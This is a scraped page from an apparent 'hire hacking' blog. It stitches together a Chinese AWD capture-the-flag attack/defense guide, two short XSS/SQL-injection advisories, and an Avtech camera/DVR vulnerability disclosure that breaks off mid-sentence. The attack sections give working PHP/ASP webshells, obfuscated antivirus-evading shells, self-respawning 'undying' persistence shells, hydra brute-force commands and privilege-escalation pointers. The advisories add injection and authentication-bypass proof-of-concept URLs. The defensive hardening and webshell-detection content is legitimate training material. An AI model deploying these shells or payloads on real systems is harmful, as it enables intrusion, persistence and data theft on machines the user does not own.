Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863115663

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0# 什么是AWD

0.1# AWD赛制介绍

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一，该模式常见于线下赛。

在该模式中，每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox )，该环境通常运行着一些特定的服务或应用程序，而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞，获取 Flag 以获得积分; 同时，参赛队伍也需要修补自身服务漏洞进行防御，以防被其他队伍攻击和获取 Flag。

主要特点为：强调实战性、实时性、对抗性，综合考量竞赛队的渗透能力和防护能力。

0.2# 比赛整体流程

  • 赛前准备环节：我们会分配到多个靶机服务器，通常是分配给我们 SSH 或者 VNC 的用户名和密码，还有相关IP等信息
  • 安全加固环节：我们需要先自己去登录靶机服务器，进行30分钟的安全加固（源码备份/弱口令修改/代码审计和修复/漏洞修复等）
  • 自由攻击环节：安全加固时间过后，开始自由攻击环节，通过对别的队伍的靶机服务器进行攻击（弱口令/Web漏洞/系统漏洞等）获得Flag进行加分，对应队伍失分

1# 比赛环境

通常比赛环境有以下三种情况：

  • 混合靶机情况：运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Linux靶机情况：运维机器 Windows 10 + 攻击机 Kali Linux + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Windows靶机情况：运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7

2# 安全加固环节（Defense）

2.0# 基本加固流程

2.0.1 Windows加固流程

先备份：Web源码、数据库

  1. 445加固，开启防火墙或IP高级安全策略
  2. 开启系统日志审计功能
  3. 禁用guest账户、关闭文件共享
  4. 确保启动项内容是可控的
  5. 限制3389远程访问控制的连接数：在本地组策略编辑器里面，依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量
  6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
  7. 恶意代码文件，通过PCHunter、Monitor查找
  8. Web目录环境查找相关可疑文件：jpg/png/rar，查看属性、解压看文件内容
  9. NTFS扫描磁盘查找隐藏的交换流数据
  10. 查找系统所有账户信息，禁止非Administrator账户
  11. 修改Web站点管理员访问路径、默认口令、数据库口令
  12. 安装WAF脚本，防护Web站点，禁止其他漏洞

2.0.2 Linux加固流程

先备份：Web源码、数据库

  1. 系统口令修改，团队统一口令
  2. 通过 .bash_history 查找历史命令操作，发现痕迹
  3. 查看计划任务：crontab -l；编辑计划任务：crontab -e
  4. 查看 /etc/init.d/rc.local 中启动服务有无异常
  5. 使用脚本开启进程监控、目录监控、流量监控
  6. Web站点口令,站点管理员路径修改
  7. 系统加固：iptable

2.1# 基本信息搜集

在防守的时候，信息搜集也很重要，正所谓“知己知彼，百战不殆”

2.1.1 明确Linux机器信息

uname -a                       //系统信息
ps -aux                        //查询进程信息
ps -ef | grep 进程名称         //筛选指定进程
id                             //用于显示用户ID，以及所属群组ID
cat /etc/passwd                //查看用户情况
ls /home/                      //查看用户情况
find / -type d -perm -002      //可写目录检查
ifconfig                       //Linux上查看网卡信息

2.1.2 明确Windows机器信息

whoami /all                    //Windows上查看用户详细信息
ipconfig  /all                 //Windows上查看网卡信息

2.1.3 查看开放端口

netstat                                                       //查看活动连接
netstat -ano/-a                                               //查看端口情况
netstat -anp                                                  //查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent   //关闭端口
firewall-cmd –reload                                          //防火墙重启

2.1.4 默认口令（弱口令）更改

为了防范弱口令攻击，Mysql密码默认都是root，phpstudy默认密码123456

还有其他默认密码admin，top100， top1000等

尤其是WEB应用的后台密码修改

passwd username                                                  //ssh口令修改
set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

2.1.5 找本地Flag

grep -r "flag" /var/www/html/  //Linux：在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows：当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2.1.6 设置禁Ping

echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping

2.2# Web安全加固

2.2.1 备份源码

防止在对源码进行修改时出问题，或者被攻击方删除源码而准备

压缩源码：

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压缩源码：

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份源码：

mv web.tar /tmp
mv web.zip /home/xxx

上传和下载源码：

scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器

2.2.2 设置只读权限

对Web文件设置只读和执行权限（PHP等动态语言需要执行权限）

chmod 0555 /var/www/html/*
chmod 0555 /var/www/html/*.php

Web根目录设置只读和执行权限

chmod 0555 /var/www/html

改变文件的属主和属组来设置严格的权限

chown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)
chown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/

2.2.3 配置 .htaccess

利用 .htaccess 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引（显示目录内容列表）功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下，这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含（SSI）文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志（engine）设置为关闭状态，从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件，并将其访问权限设置为拒绝所有
</Directory>

2.2.4 PHP参数安全配置

首先找到PHP的配置文件

/etc/php/{version}/php.ini

禁用高危函数

disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

配置 open_basedir （将用户访问文件的活动范围限制在指定的区域）

open_basedir=/var/www/html

禁用魔术引号（自动对外部来源数据进行转义，防止SQL注入）

magic_quotes_gpc = Off

关闭PHP伪协议

allow_url_fopen = Off
allow_url_include = Off

重启PHP

sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service

2.3# 数据库安全加固

2.3.1 Mysql加固

为了防范弱口令攻击，Mysql密码默认都是root，phpstudy默认密码123456

  1. 不使用默认口令，修改成复杂的，并确保和web环境连接
  2. 设置只允许本地127.0.0.1账户登录：修改 bind-address=127.0.0.1 ；在配置文件中加入 seccure_file_priv=NULL
  3. 开启日志审计功能：general_log_file=路径

因为最常用的是Mysql数据库，所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库：

mysqldump –u username –p password databasename > target.sql

备份所有数据库：

mysqldump –all -databases > all.sql

导入数据库：

mysql –u username –p password database < from.sql

对于MySQL的攻防，可以看这篇文章：https://blog.zgsec.cn/archives/26.html

MySQL默认配置文件路径：

C:\\Program Files\MySQL\MySQLServer 5.1\my.ini   //Windows
/etc/my.cnf                                      //Linux
/etc/mysql/my.cnf                                //Linux

修改 secure_file_priv 参数（日志功能的对应目录）

secure_file_priv=""

重载MySQL配置

FLUSH PRIVILEGES

重启MySQL服务

sudo service mysql restart
sudo systemctl restart mysql

2.3.2 Mssql加固

  1. 删除不必要的账号
  2. SQLServer用户口令安全
  3. 根据用户分配帐号避免帐号共享
  4. 分配数据库用户所需的最小权限
  5. 网络访问限制
  6. SQLServer登录审计
  7. SQLServer安全事件审计
  8. 配置日志功能

2.4# 远程控制加固

2.4.1 SSH安全加固

限制IP登录方法

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers username@192.168.0.100    //找到并编辑以下行，确保其取消注释并设置为所需的IP地址

禁用 root 远程登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
PermitRootLogin no                   //将PermitRootLogi设置为“no”

按用户和组限制SSH登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers testuser                  //设置只允许 testuser 登录SSH
AllowUsers testuser@192.168.1.100    //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH
AllowGroups test                     //设置用户组白名单
//需要注意的是：如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录

重启SSH服务

sudo service sshd restart
sudo systemctl restart sshd.service

2.4.2 RDP远程登录安全加固

删除默认帐户并手动添加新用户：

  • 步骤1：按 Win + R 打开运行对话框，输入 secpol.msc 并单击 “确定”
  • 步骤2：导航至此处：本地策略-->用户权限分配，再双击打开 “允许通过远程桌面服务登录”
  • 步骤3：删除此窗口中列出的管理员和远程桌面用户（或计算机上的任何其他用户或组）
  • 步骤4：之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号：

  • 步骤1：打开运行对话框，输入 regedit 并单击 “确定”
  • 步骤2：打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ，向下滚动并找到 PortNumber 然后双击它
  • 步骤3：选择 “十进制”，修改为您想要设置的端口号，然后单击 “确定”

2.5# 应急响应

2.5.1 查询进程线程

netstat
ps -aux
netstat -apt

2.5.2 杀掉进程

kill -9 pid            //Linux上
taskkill /f /pid pid   //Windows上

2.5.3 搜索WebShell文件

find /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件，一般有可能是一句话木马
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    //查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合，用于在指定目录（/var/www/html）下查找所有以.php为扩展名的文件，并搜索这些文件中包含字符串"eval("的行，并使用more命令来分页显示结果以便在输出较长时进行逐页查看

2.5.4 查杀不死马

也可以利用命令自动进行查找删除

ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9

然后重启服务

service php-fpm restart

2.5.5 杀弹反弹shell

老规矩查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh，很有可能是nc

再就是上老一套命令

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

3# 自由攻击环节（Attack）

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备
  2. 扫描工具：Nmap、Nessus、Metasploit更新
  3. 漏洞利用脚本Poc、Exp

3.1# 基本信息搜集

3.1.1 主机信息搜集

Nmap

namp -sn 192.168.0.0/24            //C段存活扫描

httpscan

httpscan.py 192.168.0.0/24 –t 10   //C段存活扫描

3.1.2 端口扫描

nmap -sV 192.168.0.2               //扫描主机系统版本
nmap -sS 192.168.0.2               //扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2     //扫描主机部分端口
nmap -sS -p- 192.168.0.2           //扫描主机全部端口

Python脚本

import requests

for x in range(2,255): 
    url = "http://192.168.1.{}".format(x) 
    try: 
        r = requests.post(url) 
        print(url) 
        except: 
        pass

3.2# 外部打点

3.2.0 常见系统漏洞

  • MS17-010（永恒之蓝，可看https://blog.zgsec.cn/archives/172.html）
  • MySQL进行UDF提权（SQL注入或者MySQL弱口令）
  • MsSQL进行系统命令执行（SQL注入或者MsSQL弱口令）
  • SSH弱口令或默认口令
  • PWN（这个要看具体AWD比赛提供的内容了）

3.2.1 中间件漏洞

  • IIS（解析漏洞、远程代码执行）
  • Apache（解析漏洞）
  • Nginx（解析漏洞）
  • Jboss（CVE-2017-7504/CVE-2017-12149/CVE-2015-7501）
  • Mysql（弱口令）
  • Tomcat（弱口令Getshell）
  • Weblogic（CVE-2020-2551/CVE-2020-2555/CVE-2020-2883）
  • SpringBoot（未授权访问漏洞和RCE漏洞，具体可看https://blog.zgsec.cn/archives/129.html）

3.2.2 集成服务环境漏洞

  • wampserver
  • xamppserver

3.2.3 CMS漏洞利用

搜集最新版本的CMS，以及对应的漏洞Poc和Exp，这里仅仅列举部分CMS：

  • Aspcms
  • Dedecms
  • Dicuz
  • Drupal
  • Empirecms
  • Eshop
  • Finecms
  • Joomla
  • Lamp
  • Metainfo
  • Phpcms
  • Phpwind
  • Qibocms
  • Seacms
  • Semcms
  • ThinkPHP
  • Wolfcms
  • Wordpress
  • Zabbix

备份文件爆破：使用7kbScan等目录扫描工具对Web系统进行爆破

3.2.4 上传WebShell

常见一句话木马

PHP： <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
Asp：   <%eval request ("pass")%>
Aspx：  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Get型木马

<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);

免杀马制作：https://github.com/AabyssZG/WebShell-Bypass-Guide

<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);   //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

隐藏的文件读取

<?php
header(php'flag:'.file_get_contents('/flag'));

条件允许的话，将flag信息直接读取并返回到header头中，这样做不易被发现

3.2.5 利用WebShell

curl(跟hackbar差不多)

C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
//向shell.php文件里传入参数并返回结果

Python多端口传参

#coding=utf-8
import requests

url_head="http://192.168.182.130"   #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass"                   #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()
flag=open("flag.txt","a")

for i in range(8000,8004):
    url=url_head+":"+str(i)+shell_addr
    try:
        res=requests.post(url,payload)#,timeout=1
        if res.status_code == requests.codes.ok:
            result = res.text
            print (result)
            flag.write(result+"\n") 
        else:
            print ("shell 404")
    except:
        print (url+" connect shell fail")

flag.close()

3.2.6 MySQL数据库利用

具体可以看这篇文章：https://blog.zgsec.cn/archives/26.html

1、查看MySQL版本

show variables like '%version%';
select version();      #这个只显示MySQL版本号

2、查看 load_file() 开启状态

show variables like '%secure%';       #这条可查看详细信息
show global variables like '%secure_file_priv%';

3、查看日志功能是否开启和对应目录

SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑

# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了，注意这个要知道网站的具体路径才可以实现

小技巧：获取MySQL账户和对应密码Hash

# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;

3.2.7 弱口令爆破

爆破SSH密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝

爆破FTP密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/

爆破RDP远程桌面密码

hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V

爆破Telnet

hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V

爆破MSSQL数据库

hydra -l sa -P 密码字典.txt 目标IP地址 mssql

爆破MySQL数据库

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql

3.3# 内网渗透

3.3.1 权限维持之不死马

简单不死马：

<?php
set_time_limit(0);   //PHP脚本限制了执行时间，set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE，则忽略与用户的断开，脚本将后台运行
unlink(__FILE__);     //删除自身

while(1)
{
    file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马：

<?php
set_time_limit(0);   // 取消脚本运行时间的超时上限
ignore_user_abort(1);  // 

while(1)
{
    file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>');  //创建shell.php
    sleep(0);
}

//passwd=AabyssTeam
//POST传参：passwd=AabyssTeam&cmd=system('ls');

进阶不死马：

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间，防止被删
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参：passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器，然后进行访问，会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马：

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 18:10:12" .login.php');
    file_put_contents($file1,$code);
    system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参：passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell，会自动生成两个不死马： .login.php 和 /admin/.register.php

3.3.2 关键文件检索

组件检索

find / -name "apaech2.conf"                 //检索Apache主配置文件
find / -name "nginx.conf"                   //检索Nginx目录
find / -path "*nginx*" -name nginx*conf     //检索Nginx配置目录
find / -name "httpd.conf"                   //检索Apache目录
find / -path "*apache*" -name apache*conf   //检索Apache配置目录

网站首页

find / -name "index.php"                    //定位网站目录
find / -name "index.html"                   //定位网站目录

日志文件检索

/var/log/nginx/                           //默认Nginx日志目录
/var/log/apache/                          //默认Apache日志目录
/var/log/apache2/                         //默认Apache日志目录
/usr/local/tomcat/logs                    //Tomcat日志目录
tail -f xxx.log                           //实时刷新滚动日志文件

3.3.3 Linux提权

查询系统版本信息命令：

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

查询内核版本信息命令：

uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

查看系统环境变量命令：

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看语言环境信息命令：

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set

查看文件上传环境信息命令：

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

这里列举一些可用利用的提权漏洞：

  • CVE-2023-0386（Linux OverlayFS权限提升漏洞）
  • CVE-2021-4034（Linux Polkit本地权限提升漏洞）
  • CVE-2017-6074 （DCCP双重释放漏洞 > 2.6.18 ）
  • CVE-2016-5195（脏牛，kernel 2.6.22 < 3.9 (x86/x64)）
  • CVE-2016-8655（Ubuntu 12.04、14.04，Debian 7、8）
  • CVE-2017-1000367（sudo本地提权漏洞 ）
  • CVE-2016-1247（Nginx权限提升漏洞）
  • CVE-2017-16995（Ubuntu16.04 kernel:4.14-4.4）

Kali命令查询：

searchsploit CentOS 7
searchsploit Ubuntu 16.04

提权Exploit寻找：

  • http://www.exploit-db.com
  • http://metasploit.com/modules/
  • http://securityreason.com
  • http://seclists.org/fulldisclosure/
  • https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

编译提权Exp

gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall

直接提权，确认权限：

cat /etc/shadow

其他提权姿势：https://www.freebuf.com/articles/system/244627.html

3.3.4 Windows提权

这里列举一些Windows的漏洞：

  • 各种Potato（Github上面基本都有）
  • CVE-2023-35359（Windows内核权限提升漏洞，开源了）
  • CVE-2022-24521（没有Exp的可以找我要）
  • CVE-2019-1405
  • CVE-2019-1322
MS17-017（整型溢出漏洞）
转载于原文： https://forum.butian.net/share/2536
HireHackking 
source: https://www.securityfocus.com/bid/47126/info

AWCM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AWCM 2.2 and prior versions are vulnerable.

http://www.example.com/awcm/search.php?search=<script>alert("SecPod-XSS-Test")</script>&where=all
HireHackking 
source: https://www.securityfocus.com/bid/56388/info

AWAuctionScript CMS is prone to the following remote vulnerabilities because it fails to sufficiently sanitize user-supplied data:

1. A remote SQL-injection vulnerability.
2. A remote file-upload vulnerability.
3. An HTML-injection vulnerability.

Exploiting these issues could allow an attacker to execute arbitrary script code, upload arbitrary files, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AWAuctionScript 1.0 is vulnerable; other version may also be affected. 

http://www.example.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!]
HireHackking 
'''
Avtech devices multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]
contains the list of confirmed firmware versions, which are affected.
- Product page: http://www.avtech.com.tw/

ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV
manufacturers. With stably increasing revenue and practical business
running philosophy, AVTECH has been ranked as the largest public-listed
company among the Taiwan surveillance industry. AVTECH makes every
effort on the innovation of technology, product and implementation.
Based on years of research and industry experience, AVTECH has obtained
a leading position on mobile platform support and provides a full range
of surveillance products.ö

Avtech is the second most popular search term in Shodan. According to
Shodan, more than 130.000 Avtech devices are exposed to the internet.

Vulnerabilities
---------------
1) Plaintext storage of administrative password
Every user password is stored in clear text. An attacker with access to
the device itself can easily obtain the full list of passwords. By
exploiting command injection or authentication bypass issues, the clear
text admin password can be retrieved.

2) Missing CSRF protection
The web interface does not use any CSRF protection. If a valid session
exists for the user, the attacker can modify all settings of the device
via CSRF. If there is no valid session, but the user did not change the
default admin password, the attacker can log in as admin via CSRF as well.

3) Unauthenticated information disclosure
Under the /cgi-bin/nobody folder every CGI script can be accessed
without authentication.
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability
Example response:
Firmware.Version=1011-1005-1008-1002
MACAddress=00:0E:53:xx:xx:xx
Product.Type=DVR
Product.ID=308B
Product.ShortName=V_full_Indep,V_Multistream
Video.System=PAL
Audio.DownloadFormat=ULAW
Video.Input.Num=8
Video.Output.Num=1
Video.Format=H264,MJPEG
Video.Format.Default=H264
Video.Resolution=4CIF,CIF
Video.Quality=BEST,HIGH,NORMAL,BASIC
Video.Local.Input.Num=8
Video.Local.Output.Num=1
Video.Local.Format=H264,MJPEG
Audio.Input.Num=8
Audio.Output.Num=1
Audio.Format=ULAW
Audio.Local.Input.Num=8
Audio.Local.Output.Num=1
Audio.Local.Format=PCM
Language.Default=ENGLISH
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&
Capability=D0,80,A,80
PushNotify.MaxChannel=8

4) Unauthenticated SSRF in DVR devices
In case of DVR devices, Search.cgi can be accessed without
authentication. This service is responsible for searching and accessing
IP cameras in the local network. In newer firmware versions, Search.cgi
provides the cgi_query action, which performs an HTTP request with the
specified parameters. By modifying the ip, port and queryb64str
parameters, an attacker is able to perform arbitrary HTTP requests
through the DVR device without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==

5) Unauthenticated command injection in DVR devices
The cgi_query action in Search.cgi performs HTML requests with the wget
system command, which uses the received parameters without sanitization
or verification. By exploiting this issue, an attacker can execute any
system command with root privileges without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin

6) Authentication bypass #1
Video player plugins are stored as .cab files in the web root, which can
be accessed and downloaded without authentication. The cab file request
verification in the streamd web server is performed with the strstr
function, which means that a request should not be authenticated if it
contains the ô.cabö string anywhere in the URL. We note that some of the
models contain an additional check in the CgiDaemon, which allows
unauthenticated cgi access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*

7) Authentication bypass #2
Cgi scripts in the /cgi-bin/nobody folder can be accessed without
authentication (e.g. for login). The streamd web server verifies whether
the request can be performed without authentication by searching for the
ô/nobodyö string in the URL with  the strstr function. Thus, if a
request contains the "/nobody" string anywhere in the URL, it does not
have to be authenticated. We note that some of the models contain an
additional check in the CgiDaemon, which allows unauthenticated cgi
access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*

8) Unauthenticated file download from web root
If a cab file is requested, the web server sends the file without
processing it. Because the streamd web server verifies the cab file
request by searching for the ô.cabö string in the URL with the strstr
function, any file (even the cgi scripts) in the web root can be
downloaded without authentication.
POC: http://<device_ip>/cgi-bin/cgibox?.cab

9) Login captcha bypass #1
To prevent brute-forcing attempts, Avtech devices require a captcha for
login requests. However, if the login requests contain the login=quick
parameter, the captcha verification is bypassed.
POC:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick

10) Login captcha bypass #2
Instead of using a random session ID, Avtech devices use the
base64-encoded username and password as the Cookie value. Since the IP
address of the logged in user is not stored, if an attacker sets the
Cookie manually, the captcha verification can by bypassed easily.

11) Authenticated command injection in CloudSetup.cgi
Devices that support the Avtech cloud contain CloudSetup.cgi, which can
be accessed after authentication. The exefile parameter of a
CloudSetup.cgi request specifies the system command to be executed.
Since there is no verification or white list-based checking of the
exefile parameter, an attacker can execute arbitrary system commands
with root privileges.
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps

12) Authenticated command injection in adcommand.cgi
Some of the Avtech devices contain adcommand.cgi to perform ActionD
commands. The adcommand.cgi can be accessed after authentication. In
newer devices the ActionD daemon provides the DoShellCmd function, which
performs a system call with the specified parameters. Since there is no
verification or white list-based checking of the parameter of the
DoShellCmd function, an attacker can execute arbitrary system commands
with root privileges.
POC:
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=

DoShellCmd "strCmd=ps&"

13) Authenticated command injection in PwdGrp.cgi
The PwdGrp.cgi uses the username, password and group parameters in a new
user creation or modification request in a system command without
validation or sanitization. Thus and attacker can execute arbitrary
system commands with root privileges.
We are aware that this vulnerability is being exploited in the wild!
POC:
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN

14) HTTPS used without certificate verification
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by
specifying the no-check-certificate parameter. Thus wget skips server
certificate verification and a MITM attack is possible against the HTTPS
communication.

Timeline
2015.10.19: First attempt to contact with Avtech, but we did not receive
any response
2016.05.24: Second attempt to contact Avtech without any response
2016.05.27: Third attempt to contact Avtech by sending e-mail to public
Avtech e-mail addresses. We did not receive any response.
2016.xx.xx: Full disclosure

POC
---
POC script is available to demonstrate the following problems [3]:
- Unauthenticated information leakage (capabilities)
- Authentication bypass (.cab, nobody)
- Unauthenticated SSRF on DVR devices
- Unauthenticated command injection on DVR devices
- Login captcha bypass with login=quick or manual cookie creation
- CloudSetup.cgi command injection after authentication
- adcommand.cgi command injection after authentication

A video demonstration is also available [1], which presents some of the
above problems.

Recommendations
---------------
Unfortunately there is no solution available for these vulnerabilities
at the moment. You can take the following steps to protect your device:
- Change the default admin password
- Never expose the web interface of any Avtech device to the internet

We note that the above vulnerabilities were found within a short period
of time without a systematic approach. Based on the vulnerability types
